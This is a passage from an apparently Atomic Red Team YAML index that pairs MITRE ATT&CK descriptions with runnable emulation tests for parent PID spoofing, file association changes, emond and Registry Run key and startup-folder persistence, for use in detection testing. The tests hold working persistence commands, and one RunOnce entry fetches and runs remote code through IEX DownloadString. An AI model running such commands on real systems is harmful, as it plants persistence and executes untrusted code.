Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore name: powershell - name: Parent PID Spoofing - Spawn from Current Process auto_generated_guid: 14920ebd-1d61-491a-85e0-fe98efe37f25 description: Spawns a powershell.exe process as a child of the current process. supported_platforms: - windows input_arguments: file_path: description: File path or name of process to spawn type: path default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" parent_pid: description: PID of process to spawn from type: string default: "$PID" command_line: description: Specified command line to use type: string default: "-Command Start-Sleep 10" dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}'' -ParentId #{parent_pid}' name: powershell - name: Parent PID Spoofing - Spawn from Specified Process auto_generated_guid: cbbff285-9051-444a-9d17-c07cd2d230eb description: Spawns a notepad.exe process as a child of the current process. supported_platforms: - windows input_arguments: parent_pid: description: PID of process to spawn from type: string default: "$PID" test_guid: description: Defined test GUID type: string default: 12345678-1234-1234-1234-123456789123 dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}' name: powershell - name: Parent PID Spoofing - Spawn from svchost.exe auto_generated_guid: e9f2b777-3123-430b-805d-5cedc66ab591 description: Spawnd a process as a child of the first accessible svchost.exe process. supported_platforms: - windows input_arguments: command_line: description: Specified command line to use type: string default: "-Command Start-Sleep 10" file_path: description: File path or name of process to spawn type: path default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}''' name: powershell - name: Parent PID Spoofing - Spawn from New Process auto_generated_guid: 2988133e-561c-4e42-a15f-6281e6a9b2db description: Creates a notepad.exe process and then spawns a powershell.exe process as a child of it. supported_platforms: - windows input_arguments: command_line: description: Specified command line to use type: string default: "-Command Start-Sleep 10" file_path: description: File path or name of process to spawn type: path default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" parent_name: description: Parent process to spoof from type: path default: "$Env:windir\\System32\\notepad.exe" dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}''' name: powershell T1546.001: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: Change Default File Association' description: "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator - SYSTEM - User type: attack-pattern id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c created: '2020-01-24T13:40:47.282Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/001 external_id: T1546.001 - source_name: Microsoft Change Default Programs description: Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016. url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs - source_name: Microsoft File Handlers description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. url: http://msdn.microsoft.com/en-us/library/bb166549.aspx - source_name: Microsoft Assoc Oct 2017 description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018. url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc - source_name: TrendMicro TROJ-FAKEAV OCT 2012 description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1546.001 atomic_tests: - name: Change Default File Association auto_generated_guid: 10a08978-2045-4d62-8c42-1957bbbea102 description: "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon successful execution, cmd.exe will change the file association of .hta to notepad.exe. \n" supported_platforms: - windows input_arguments: target_extension_handler: description: txtfile maps to notepad.exe type: path default: txtfile extension_to_change: description: File Extension To Hijack type: string default: ".hta" original_extension_handler: description: File Extension To Revert type: string default: htafile executor: command: 'assoc #{extension_to_change}=#{target_extension_handler} ' cleanup_command: 'assoc #{extension_to_change}=#{original_extension_handler} ' name: command_prompt elevation_required: true T1055.014: technique: x_mitre_platforms: - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5 created: '2020-01-14T01:35:00.781Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1055.014 url: https://attack.mitre.org/techniques/T1055/014 - source_name: Backtrace VDSO url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/ description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020. - source_name: Syscall 2014 url: https://lwn.net/Articles/604515/ description: Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020. - source_name: GNU Acct url: https://www.gnu.org/software/acct/ description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. - source_name: RHEL auditd url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. - source_name: ArtOfMemoryForensics description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' - source_name: ELF Injection May 2009 url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020. - source_name: VDSO Aug 2005 url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/ description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020. - source_name: Chokepoint preload rootkits url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. x_mitre_deprecated: false revoked: false description: "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. " modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: VDSO Hijacking x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: OS API Execution' - 'Module: Module Load' x_mitre_defense_bypassed: - Anti-virus - Application control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.014: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Ivan Sinyakov object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd created: '2020-01-24T15:15:13.426Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1546.014 url: https://attack.mitre.org/techniques/T1546/014 - source_name: magnusviri emond Apr 2016 url: http://www.magnusviri.com/Mac/what-is-emond.html description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019. - source_name: xorrior emond Jan 2018 url: https://www.xorrior.com/emond-persistence/ description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019. - source_name: sentinelone macos persist Jun 2019 url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019. x_mitre_deprecated: false revoked: false description: |- Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Event Triggered Execution: Emond' x_mitre_detection: Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.014 atomic_tests: - name: Persistance with Event Monitor - emond auto_generated_guid: 23c9c127-322b-4c75-95ca-eff464906114 description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124 ' supported_platforms: - macos input_arguments: plist: description: Path to attacker emond plist file type: path default: PathToAtomicsFolder/T1546.014/src/T1546.014_emond.plist executor: command: | sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist sudo touch /private/var/db/emondClients/T1546.014 cleanup_command: | sudo rm /etc/emond.d/rules/T1546.014_emond.plist sudo rm /private/var/db/emondClients/T1546.014 name: sh elevation_required: true T1574.010: technique: modified: '2023-05-09T14:00:00.188Z' name: Services File Permissions Weakness description: |- Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak x_mitre_detection: "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Service: Service Metadata' x_mitre_effective_permissions: - SYSTEM - Administrator - User x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd created: '2020-03-12T20:43:53.998Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/010 external_id: T1574.010 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1547.001: technique: modified: '2023-10-16T09:08:22.319Z' name: 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder' description: |- Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. The following run keys are created by default on Windows systems: * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018) Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. The following Registry keys can be used to set startup folder items for persistence: * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders The following Registry keys can control automatic startup of services during boot: * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user. By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Oddvar Moe, @oddvarmoe - Dray Agha, @Purp1eW0lf, Huntress Labs - Harun Küßner x_mitre_deprecated: false x_mitre_detection: |- Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279 created: '2020-01-23T22:02:48.566Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/001 external_id: T1547.001 - source_name: Malwarebytes Wow6432Node 2016 description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020. url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/ - source_name: Microsoft Wow6432Node 2018 description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020. url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry - source_name: Microsoft Run Key description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. url: http://msdn.microsoft.com/en-us/library/aa376977 - source_name: Oddvar Moe RunOnceEx Mar 2018 description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018. url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.001 atomic_tests: - name: Reg Key Run auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05 description: "Run Key Persistence\n\nUpon successful execution, cmd.exe will modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output will be via stdout. \n" supported_platforms: - windows input_arguments: command_to_execute: description: Thing to Run type: path default: C:\Path\AtomicRedTeam.exe executor: command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}" ' cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1 ' name: command_prompt - name: Reg Key RunOnce auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb description: "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. \n" supported_platforms: - windows input_arguments: thing_to_execute: description: Thing to Run type: path default: C:\Path\AtomicRedTeam.dll executor: command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}" ' cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: PowerShell Registry RunOnce auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42 description: | RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry. supported_platforms: - windows input_arguments: thing_to_execute: description: Thing to Run type: path default: powershell.exe reg_key_path: description: Path to registry key to update type: path default: HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce executor: command: | $RunOnceKey = "#{reg_key_path}" set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"' cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore ' name: powershell elevation_required: true - name: Suspicious vbs file run from startup Folder auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5 description: "vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n" supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore name: powershell elevation_required: true - name: Suspicious jse file run from startup Folder auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06 description: "jse files can be placed in and ran from the startup folder to maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n" supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore name: powershell elevation_required: true - name: Suspicious bat file run from startup Folder auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e description: | bat files can be placed in and executed from the startup folder to maintain persistance Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in. supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore name: powershell elevation_required: true - name: Add Executable Shortcut Link to User Startup Folder auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d description: 'Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ' supported_platforms: - windows executor: command: "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation 